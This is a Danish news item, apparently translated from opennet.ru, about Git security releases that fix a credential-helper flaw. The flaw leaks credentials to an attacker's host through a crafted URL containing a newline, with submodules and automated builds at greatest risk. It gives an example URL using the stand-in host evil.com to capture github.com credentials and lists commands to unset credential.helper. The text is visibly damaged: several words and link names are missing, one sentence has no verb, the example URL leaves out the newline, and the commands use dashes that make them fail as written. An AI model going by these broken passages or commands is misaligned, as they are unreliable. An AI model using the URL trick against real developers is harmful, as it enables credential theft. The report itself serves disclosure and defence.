Korrektive udgivelser af det distribuerede system til versionsstyring Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 og 2.17.4, som retter () i handleren for ««, hvilket fører til, at legitimationsoplysninger sendes til den forkerte vært, når git-klienten tilgår et repository via en specialudformet URL, der indeholder et linjeskifttegn. Sårbarheden kan udnyttes til at sende legitimationsoplysninger fra en anden vært til en server kontrolleret af angriberen.
Når en URL angives som «https://evil.com?host=github.com/», vil legitimationsbehandleren ved tilslutning til værten evil.com overføre autentifikationsparametre, der er angivet for github.com. Problemet opstår under udførelse af operationer som «git clone», herunder håndtering af URL'er til submoduler (for eksempel ved udførelse af «git submodule update» vil URL'er, der er angivet i .gitmodules-filen fra depotet, automatisk blive behandlet). Sårbarheden udgør den største risiko i situationer, hvor udvikleren kloner et depot uden at se URL'en, for eksempel ved arbejde med submoduler, eller i systemer, der udfører automatiserede handlinger, som i pakkesamlebåndsscripts.
For at blokere sårbarheden i de nye versioner overførsel af linjeskifttegn i enhver værdi, der sendes via protokollen til udveksling af legitimationsoplysninger. For distributioner kan man følge med i opdateringsudgivelserne på siderne , , , , , , .
Som en midlertidig løsning til at blokere problemet bør credential.helper ikke anvendes ved adgang til offentlige repositories, og «git clone» bør ikke bruges i «—recurse-submodules» mode med upålidelige repositories. For helt at deaktivere credential.helper, som udfører og hentning af adgangskoder fra , beskyttet af eller en adgangskodefil, kan følgende kommandoer anvendes:
git config —unset credential.helper
git config —global —unset credential.helper
git config —system —unset credential.helper
Kilde: opennet.ru
